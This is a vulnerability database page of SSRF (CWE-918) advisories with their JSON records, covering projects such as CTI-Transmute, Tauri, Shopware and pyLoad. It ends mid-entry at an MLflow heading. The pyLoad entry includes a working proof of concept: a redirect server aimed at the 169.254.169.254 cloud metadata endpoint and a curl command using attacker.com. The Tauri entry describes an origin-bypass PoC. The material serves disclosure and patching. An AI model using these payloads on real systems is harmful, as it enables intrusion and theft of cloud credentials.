Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

5956 vulnerabilities reference this CWE, most recent first.

GHSA-7GC9-2QRW-FRVJ

Vulnerability from github – Published: 2026-08-03 12:32 – Updated: 2026-08-03 12:32
VLAI
Details

CTI-Transmute is affected by a server-side request forgery vulnerability in the evaluation report PDF-generation functionality.

User-controlled CTI content, including conversion names, descriptions, and comments, is converted from Markdown to HTML and rendered as a PDF using WeasyPrint. Before the patch, the renderer used WeasyPrint’s default URL-fetching behavior without restricting the protocols or destinations that could be referenced by the generated HTML.

An attacker able to supply content included in an evaluation report could inject crafted resource references using schemes such as http://, https://, or file://. When the report was rendered, CTI-Transmute could fetch these resources using the application server’s network connectivity and filesystem privileges.

Successful exploitation could allow an attacker to:

  • access services available only from the CTI-Transmute server or its internal network;
  • probe internal hosts and service endpoints;
  • retrieve local files readable by the application process; and
  • expose fetched content through the generated PDF, depending on the referenced resource type and rendering context.

The vulnerability is corrected by providing WeasyPrint with a restrictive URL fetcher that permits only self-contained data: URIs. The externally hosted Google Fonts stylesheet was also removed so that PDF generation performs no intentional network or filesystem fetches.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-69078"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-03T10:16:33Z",
    "severity": "HIGH"
  },
  "details": "CTI-Transmute is affected by a server-side request forgery vulnerability in the evaluation report PDF-generation functionality.\n\nUser-controlled CTI content, including conversion names, descriptions, and comments, is converted from Markdown to HTML and rendered as a PDF using WeasyPrint. Before the patch, the renderer used WeasyPrint\u2019s default URL-fetching behavior without restricting the protocols or destinations that could be referenced by the generated HTML.\n\nAn attacker able to supply content included in an evaluation report could inject crafted resource references using schemes such as http://, https://, or file://. When the report was rendered, CTI-Transmute could fetch these resources using the application server\u2019s network connectivity and filesystem privileges.\n\nSuccessful exploitation could allow an attacker to:\n\n  *  access services available only from the CTI-Transmute server or its internal network;\n  *  probe internal hosts and service endpoints;\n  *  retrieve local files readable by the application process; and\n  *  expose fetched content through the generated PDF, depending on the referenced resource type and rendering context.\n\n\nThe vulnerability is corrected by providing WeasyPrint with a restrictive URL fetcher that permits only self-contained data: URIs. The externally hosted Google Fonts stylesheet was also removed so that PDF generation performs no intentional network or filesystem fetches.",
  "id": "GHSA-7gc9-2qrw-frvj",
  "modified": "2026-08-03T12:32:36Z",
  "published": "2026-08-03T12:32:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69078"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MISP/cti-transmute/commit/20f35307bcb706c8dd8ca3884a88fb36b05b5244"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-7GJ4-6P7P-2W9W

Vulnerability from github – Published: 2025-09-22 18:30 – Updated: 2025-09-22 18:30
VLAI
Details

IBM webMethods Integration 10.15 and 11.1

is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-36037"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-22T16:15:43Z",
    "severity": "MODERATE"
  },
  "details": "IBM webMethods Integration 10.15 and 11.1 \n\nis vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.",
  "id": "GHSA-7gj4-6p7p-2w9w",
  "modified": "2025-09-22T18:30:36Z",
  "published": "2025-09-22T18:30:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-36037"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7245758"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7GM3-FV82-7H98

Vulnerability from github – Published: 2026-04-20 09:30 – Updated: 2026-04-20 09:30
VLAI
Details

A security vulnerability has been detected in TransformerOptimus SuperAGI up to 0.0.14. This affects the function extract_with_bs4/extract_with_3k/extract_with_lxml of the file superagi/helper/webpage_extractor.py of the component WebScraperTool. Such manipulation leads to server-side request forgery. It is possible to launch the attack remotely. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-6616"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-20T08:16:11Z",
    "severity": "MODERATE"
  },
  "details": "A security vulnerability has been detected in TransformerOptimus SuperAGI up to 0.0.14. This affects the function extract_with_bs4/extract_with_3k/extract_with_lxml of the file superagi/helper/webpage_extractor.py of the component WebScraperTool. Such manipulation leads to server-side request forgery. It is possible to launch the attack remotely. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-7gm3-fv82-7h98",
  "modified": "2026-04-20T09:30:45Z",
  "published": "2026-04-20T09:30:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6616"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/YLChen-007/4bb1d709cbb58cee46d839c651d3221f"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/791084"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/358251"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/358251/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-7GM7-8Q8V-9GF2

Vulnerability from github – Published: 2022-04-22 21:04 – Updated: 2022-04-22 21:04
VLAI
Summary
Server-Side Request Forgery (SSRF) in Shopware
Details

Impact

The attacker can abuse the Admin SDK functionality on the server to read or update internal resources.

Patches

We recommend updating to the current version 6.4.10.1. You can get the update to 6.4.10.1 regularly via the Auto-Updater or directly via the download overview.

https://www.shopware.com/en/download/#shopware-6

Workarounds

For older versions of 6.1, 6.2, and 6.3, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.4.9.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "shopware/platform"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.4.10.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.4.9.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "shopware/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.4.10.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-24871"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-04-22T21:04:07Z",
    "nvd_published_at": "2022-04-20T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nThe  attacker can abuse the Admin SDK functionality on the server to read or update internal resources.\n\n### Patches\n\nWe recommend updating to the current version 6.4.10.1. You can get the update to 6.4.10.1 regularly via the Auto-Updater or directly via the download overview.\n\nhttps://www.shopware.com/en/download/#shopware-6\n\n### Workarounds\n\nFor older versions of 6.1, 6.2, and 6.3, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.\n",
  "id": "GHSA-7gm7-8q8v-9gf2",
  "modified": "2022-04-22T21:04:07Z",
  "published": "2022-04-22T21:04:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/shopware/platform/security/advisories/GHSA-7gm7-8q8v-9gf2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-24871"
    },
    {
      "type": "WEB",
      "url": "https://github.com/shopware/platform/commit/083765e2d64a00315050c4891800c9e98ba0c77c"
    },
    {
      "type": "WEB",
      "url": "https://docs.shopware.com/en/shopware-6-en/security-updates/security-update-04-2022"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/shopware/platform"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Server-Side Request Forgery (SSRF) in Shopware"
}

GHSA-7GMJ-67G7-PHM9

Vulnerability from github – Published: 2026-05-06 16:58 – Updated: 2026-06-08 23:41
VLAI
Summary
Tauri has an Origin Confusion Issue that Allows Remote Pages to Invoke Local-Only IPC Commands
Details

Summary

A flaw in Tauri's is_local_url() function causes it to incorrectly classify remote URLs as trusted local origins on Windows and Android. On these systems, Tauri maps custom URI scheme protocols to http://<scheme>.localhost/ because those platforms' WebView implementations cannot serve custom URI schemes directly.

The issue is that Tauri's check to see if the origin is local, only checks the first subdomain of the URL. An attacker can abuse this by hosting a page on a domain whose subdomain matches the custom scheme of the application (e.g. http://app.attacker.com/)."

Example: - Local URL: app://localhost/ → on Android/Windows: http://app.localhost/ - The check passes for any URL starting with http://app., including http://app.evil.com/

As a result, the attacker page can invoke backend commands that the developer intended to be accessible only to the app's own frontend and that are explicitly restricted from being called by external or remote origins.

Details

Vulnerable function:

#[cfg(any(windows, target_os = "android"))]
let local = {
  let protocol_url = self.manager().tauri_protocol_url(uses_https);
  let maybe_protocol = current_url
    .domain()
    .and_then(|d| d.split_once('.'))  // BUG: only splits on first dot
    .unwrap_or_default()
    .0;

  protocols.contains_key(maybe_protocol) && scheme == protocol_url.scheme()
};

Link: https://github.com/tauri-apps/tauri/blob/1ef6a119b1571d1da0acc08bdb7fd5521a4c6d52/crates/tauri/src/webview/mod.rs#L1680

split_once('.') discards everything after the first .. For http://app.evil.com/, the extracted label is app. If the application has registered a protocol named app, protocols.contains_key("app") returns true and the URL is classified as Origin::Local. The correct check must assert the full domain is exactly <protocol>.localhost.

PoC

We created a proof of concept app that can be found here. The app registers a custom app:// protocol and exposes a ping command restricted to local origins only. It provides a button to open a URL in a WebView, pre-filled with https://app.robbe-bc9.workers.dev/, an attacker-controlled page that invokes ping on load. Because the domain's first label matches the registered app protocol, is_local_url() classifies it as a local origin and the command succeeds.

capabilities/main.json contains the following code, which only exposes ping locally:

{
  "$schema": "../../../crates/tauri-schema-generator/schemas/capability.schema.json",
  "identifier": "main",
  "local": true,
  "windows": ["*"],
  "permissions": [
    "sample:allow-ping"
  ]
}

src/lib.rs contains the following code, to register a custom scheme:

tauri::Builder::default()
  .register_uri_scheme_protocol("app", |_ctx, _request| { ... })

Impact

The attacker page can invoke backend commands that the developer intended to be accessible only to the app's own frontend and that are explicitly restricted from being called by external or remote origins.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.11.0"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "tauri"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.11.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42184"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T16:58:35Z",
    "nvd_published_at": "2026-05-27T15:16:27Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nA flaw in Tauri\u0027s `is_local_url()` function causes it to incorrectly classify remote URLs as trusted local origins on Windows and Android. On these systems, Tauri maps custom URI scheme protocols to `http://\u003cscheme\u003e.localhost/` because those platforms\u0027 WebView implementations cannot serve custom URI schemes directly.\n\nThe issue is that Tauri\u0027s check to see if the origin is local, only checks the first subdomain of the URL. An attacker can abuse this by hosting a page on a domain whose subdomain matches the custom scheme of the application (e.g. http://app.attacker.com/).\"\n\nExample:\n- Local URL: `app://localhost/` \u2192 on Android/Windows: `http://app.localhost/`\n- The check passes for any URL starting with `http://app.`, including `http://app.evil.com/`\n\nAs a result, the attacker page can invoke backend commands that the developer intended to be accessible only to the app\u0027s own frontend and that are explicitly restricted from being called by external or remote origins.\n\n### Details\nVulnerable function:\n\n```rust\n#[cfg(any(windows, target_os = \"android\"))]\nlet local = {\n  let protocol_url = self.manager().tauri_protocol_url(uses_https);\n  let maybe_protocol = current_url\n    .domain()\n    .and_then(|d| d.split_once(\u0027.\u0027))  // BUG: only splits on first dot\n    .unwrap_or_default()\n    .0;\n\n  protocols.contains_key(maybe_protocol) \u0026\u0026 scheme == protocol_url.scheme()\n};\n```\n\nLink: https://github.com/tauri-apps/tauri/blob/1ef6a119b1571d1da0acc08bdb7fd5521a4c6d52/crates/tauri/src/webview/mod.rs#L1680\n\n`split_once(\u0027.\u0027)` discards everything after the first `.`. For http://app.evil.com/, the extracted label is app. If the application has registered a protocol named app, `protocols.contains_key(\"app\")` returns `true` and the URL is classified as `Origin::Local`. The correct check must assert the full domain is exactly `\u003cprotocol\u003e.localhost`.\n\n### PoC\nWe created a proof of concept app that can be found [here](https://drive.google.com/file/d/1YME6YMSKv69JxFF7Ne0OrZ6tGC_OH7Jw/view?usp=sharing). The app registers a custom app:// protocol and exposes a ping command restricted to local origins only. It provides a button to open a URL in a WebView, pre-filled with https://app.robbe-bc9.workers.dev/, an attacker-controlled page that invokes ping on load. Because the domain\u0027s first label matches the registered app protocol, is_local_url() classifies it as a local origin and the command succeeds.\n\n`capabilities/main.json` contains the following code, which only exposes `ping` locally:\n\n```json\n{\n  \"$schema\": \"../../../crates/tauri-schema-generator/schemas/capability.schema.json\",\n  \"identifier\": \"main\",\n  \"local\": true,\n  \"windows\": [\"*\"],\n  \"permissions\": [\n    \"sample:allow-ping\"\n  ]\n}\n```\n\n`src/lib.rs` contains the following code, to register a custom scheme:\n\n```rust\ntauri::Builder::default()\n  .register_uri_scheme_protocol(\"app\", |_ctx, _request| { ... })\n```\n\n### Impact\nThe attacker page can invoke backend commands that the developer intended to be accessible only to the app\u0027s own frontend and that are explicitly restricted from being called by external or remote origins.",
  "id": "GHSA-7gmj-67g7-phm9",
  "modified": "2026-06-08T23:41:37Z",
  "published": "2026-05-06T16:58:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tauri-apps/tauri/security/advisories/GHSA-7gmj-67g7-phm9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42184"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tauri-apps/tauri"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Tauri has an Origin Confusion Issue that Allows Remote Pages to Invoke Local-Only IPC Commands"
}

GHSA-7GP2-X65V-77WX

Vulnerability from github – Published: 2024-01-08 12:30 – Updated: 2024-01-08 12:30
VLAI
Details

A vulnerability was found in Inis up to 2.0.1. It has been rated as critical. This issue affects some unknown processing of the file app/api/controller/default/Proxy.php. The manipulation of the argument p_url leads to server-side request forgery. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-249875.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-0308"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-01-08T10:15:11Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was found in Inis up to 2.0.1. It has been rated as critical. This issue affects some unknown processing of the file app/api/controller/default/Proxy.php. The manipulation of the argument p_url leads to server-side request forgery. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-249875.",
  "id": "GHSA-7gp2-x65v-77wx",
  "modified": "2024-01-08T12:30:32Z",
  "published": "2024-01-08T12:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-0308"
    },
    {
      "type": "WEB",
      "url": "https://note.zhaoj.in/share/2E2JG2PClHGF"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.249875"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.249875"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7GQ9-6FW6-W5Q3

Vulnerability from github – Published: 2025-08-21 21:32 – Updated: 2025-12-12 21:31
VLAI
Details

A server-side request forgery (SSRF) vulnerability exists in the Liferay DXP 2025.Q2.0 through 2025.Q2.3 due to insecure domain validation on analytics.cloud.domain.allowed, allowing an attacker to perform requests by change the domain and bypassing the validation method, this insecure validation is not distinguishing between trusted subdomains and malicious domains.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-43747"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-21T21:15:35Z",
    "severity": "MODERATE"
  },
  "details": "A server-side request forgery (SSRF) vulnerability exists in the Liferay DXP 2025.Q2.0 through 2025.Q2.3 due to insecure domain validation on analytics.cloud.domain.allowed, allowing an attacker to perform requests by change the domain and bypassing the validation method, this insecure validation is not distinguishing between trusted subdomains and malicious domains.",
  "id": "GHSA-7gq9-6fw6-w5q3",
  "modified": "2025-12-12T21:31:29Z",
  "published": "2025-08-21T21:32:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-43747"
    },
    {
      "type": "WEB",
      "url": "https://liferay.dev/portal/security/known-vulnerabilities/-/asset_publisher/jekt/content/CVE-2025-43747"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-7GR8-H8HP-7WVC

Vulnerability from github – Published: 2025-03-25 06:30 – Updated: 2025-03-25 06:30
VLAI
Details

A Server-Side Request Forgery vulnerability in the APROL Web Portal used in B&R APROL <4.4-00P5 may allow an authenticated network-based attacker to force the web server to request arbitrary URLs.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-10207"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-25T05:15:38Z",
    "severity": "MODERATE"
  },
  "details": "A Server-Side Request Forgery vulnerability in the APROL Web Portal used in B\u0026R APROL \u003c4.4-00P5 may allow an authenticated network-based attacker to force the web server to request arbitrary URLs.",
  "id": "GHSA-7gr8-h8hp-7wvc",
  "modified": "2025-03-25T06:30:26Z",
  "published": "2025-03-25T06:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10207"
    },
    {
      "type": "WEB",
      "url": "https://www.br-automation.com/fileadmin/SA24P015-77573c08.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-7GVF-3W72-P2PG

Vulnerability from github – Published: 2026-04-04 06:41 – Updated: 2026-04-06 23:44
VLAI
Summary
pyLoad: SSRF filter bypass via HTTP redirect in BaseDownloader (Incomplete fix for CVE-2026-33992)
Details

Summary

The fix for CVE-2026-33992 (GHSA-m74m-f7cr-432x) added IP validation to BaseDownloader.download() that checks the hostname of the initial download URL. However, pycurl is configured with FOLLOWLOCATION=1 and MAXREDIRS=10, causing it to automatically follow HTTP redirects. Redirect targets are never validated against the SSRF filter.

An authenticated user with ADD permission can bypass the SSRF fix by submitting a URL that redirects to an internal address.

Root Cause

The SSRF check at src/pyload/plugins/base/downloader.py:335-341 validates only the initial URL:

dl_hostname = urllib.parse.urlparse(dl_url).hostname
if is_ip_address(dl_hostname) and not is_global_address(dl_hostname):
    self.fail(...)
else:
    for ip in host_to_ip(dl_hostname):
        if not is_global_address(ip):
            self.fail(...)

After the check passes, _download() is called. pycurl is configured at src/pyload/core/network/http/http_request.py:114-115 to follow redirects:

self.c.setopt(pycurl.FOLLOWLOCATION, 1)
self.c.setopt(pycurl.MAXREDIRS, 10)

No CURLOPT_REDIR_PROTOCOLS restriction is set anywhere in HTTPRequest. Redirect targets bypass the SSRF filter entirely.

PoC

Redirect server (attacker-controlled):

from http.server import HTTPServer, BaseHTTPRequestHandler

class RedirectHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header("Location", "http://169.254.169.254/metadata/v1.json")
        self.end_headers()

HTTPServer(("0.0.0.0", 8888), RedirectHandler).serve_forever()

Submit to pyload (requires ADD permission):

curl -b cookies.txt -X POST 'http://target:8000/json/add_package' \
  -d 'add_name=ssrf-test&add_dest=1&add_links=http://attacker.com:8888/redirect'

The SSRF check resolves attacker.com to a public IP and passes. pycurl follows the 302 redirect to http://169.254.169.254/metadata/v1.json without validation. Cloud metadata is downloaded and saved to the storage folder.

Impact

An authenticated user with ADD permission can access:

  • Cloud metadata endpoints (169.254.169.254) for AWS, GCP, DigitalOcean, Azure — including IAM credentials and instance identity
  • Internal network services (10.x, 172.16.x, 192.168.x)
  • Localhost services (127.0.0.1)

This is the same impact as CVE-2026-33992 (rated Critical), achieved through a single redirect hop. The severity is reduced from Critical to High because authentication with ADD permission is now required.

Suggested Fix

Disable automatic redirect following and validate each redirect target:

# In HTTPRequest.__init__():
self.c.setopt(pycurl.FOLLOWLOCATION, 0)

Then implement manual redirect following in the download logic with SSRF validation at each hop. Alternatively, restrict redirect protocols:

self.c.setopt(pycurl.REDIR_PROTOCOLS, pycurl.PROTO_HTTP | pycurl.PROTO_HTTPS)

And add a pycurl callback to validate redirect destination IPs before following.

Resources

  • CVE-2026-33992 / GHSA-m74m-f7cr-432x: Original SSRF (Critical, unauthenticated). This bypass requires ADD permission.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pyload-ng"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.5.0b3.dev96"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35459"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-04T06:41:08Z",
    "nvd_published_at": "2026-04-06T20:16:28Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nThe fix for CVE-2026-33992 (GHSA-m74m-f7cr-432x) added IP validation to `BaseDownloader.download()` that checks the hostname of the initial download URL. However, pycurl is configured with `FOLLOWLOCATION=1` and `MAXREDIRS=10`, causing it to automatically follow HTTP redirects. Redirect targets are never validated against the SSRF filter.\n\nAn authenticated user with ADD permission can bypass the SSRF fix by submitting a URL that redirects to an internal address.\n\n## Root Cause\n\nThe SSRF check at `src/pyload/plugins/base/downloader.py:335-341` validates only the initial URL:\n\n    dl_hostname = urllib.parse.urlparse(dl_url).hostname\n    if is_ip_address(dl_hostname) and not is_global_address(dl_hostname):\n        self.fail(...)\n    else:\n        for ip in host_to_ip(dl_hostname):\n            if not is_global_address(ip):\n                self.fail(...)\n\nAfter the check passes, `_download()` is called. pycurl is configured at `src/pyload/core/network/http/http_request.py:114-115` to follow redirects:\n\n    self.c.setopt(pycurl.FOLLOWLOCATION, 1)\n    self.c.setopt(pycurl.MAXREDIRS, 10)\n\nNo `CURLOPT_REDIR_PROTOCOLS` restriction is set anywhere in HTTPRequest. Redirect targets bypass the SSRF filter entirely.\n\n## PoC\n\nRedirect server (attacker-controlled):\n\n    from http.server import HTTPServer, BaseHTTPRequestHandler\n\n    class RedirectHandler(BaseHTTPRequestHandler):\n        def do_GET(self):\n            self.send_response(302)\n            self.send_header(\"Location\", \"http://169.254.169.254/metadata/v1.json\")\n            self.end_headers()\n\n    HTTPServer((\"0.0.0.0\", 8888), RedirectHandler).serve_forever()\n\nSubmit to pyload (requires ADD permission):\n\n    curl -b cookies.txt -X POST \u0027http://target:8000/json/add_package\u0027 \\\n      -d \u0027add_name=ssrf-test\u0026add_dest=1\u0026add_links=http://attacker.com:8888/redirect\u0027\n\nThe SSRF check resolves `attacker.com` to a public IP and passes. pycurl follows the 302 redirect to `http://169.254.169.254/metadata/v1.json` without validation. Cloud metadata is downloaded and saved to the storage folder.\n\n## Impact\n\nAn authenticated user with ADD permission can access:\n\n- Cloud metadata endpoints (169.254.169.254) for AWS, GCP, DigitalOcean, Azure \u2014 including IAM credentials and instance identity\n- Internal network services (10.x, 172.16.x, 192.168.x)\n- Localhost services (127.0.0.1)\n\nThis is the same impact as CVE-2026-33992 (rated Critical), achieved through a single redirect hop. The severity is reduced from Critical to High because authentication with ADD permission is now required.\n\n## Suggested Fix\n\nDisable automatic redirect following and validate each redirect target:\n\n    # In HTTPRequest.__init__():\n    self.c.setopt(pycurl.FOLLOWLOCATION, 0)\n\nThen implement manual redirect following in the download logic with SSRF validation at each hop. Alternatively, restrict redirect protocols:\n\n    self.c.setopt(pycurl.REDIR_PROTOCOLS, pycurl.PROTO_HTTP | pycurl.PROTO_HTTPS)\n\nAnd add a pycurl callback to validate redirect destination IPs before following.\n\n## Resources\n\n- CVE-2026-33992 / GHSA-m74m-f7cr-432x: Original SSRF (Critical, unauthenticated). This bypass requires ADD permission.",
  "id": "GHSA-7gvf-3w72-p2pg",
  "modified": "2026-04-06T23:44:01Z",
  "published": "2026-04-04T06:41:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/security/advisories/GHSA-7gvf-3w72-p2pg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33992"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35459"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/commit/33c55da084320430edfd941b60e3da0eb1be9443"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pyload/pyload"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "pyLoad: SSRF filter bypass via HTTP redirect in BaseDownloader (Incomplete fix for CVE-2026-33992)"
}

GHSA-7GWP-5PFP-969J

Vulnerability from github – Published: 2026-08-17 21:58 – Updated: 2026-08-17 21:58
VLAI
Summary
MLflow: Unauthenticated full-read SSRF in webhook delivery: _validate_webhook_url bypassed via unvalidated HTTP redirects (and DNS rebinding)
Details

Summary

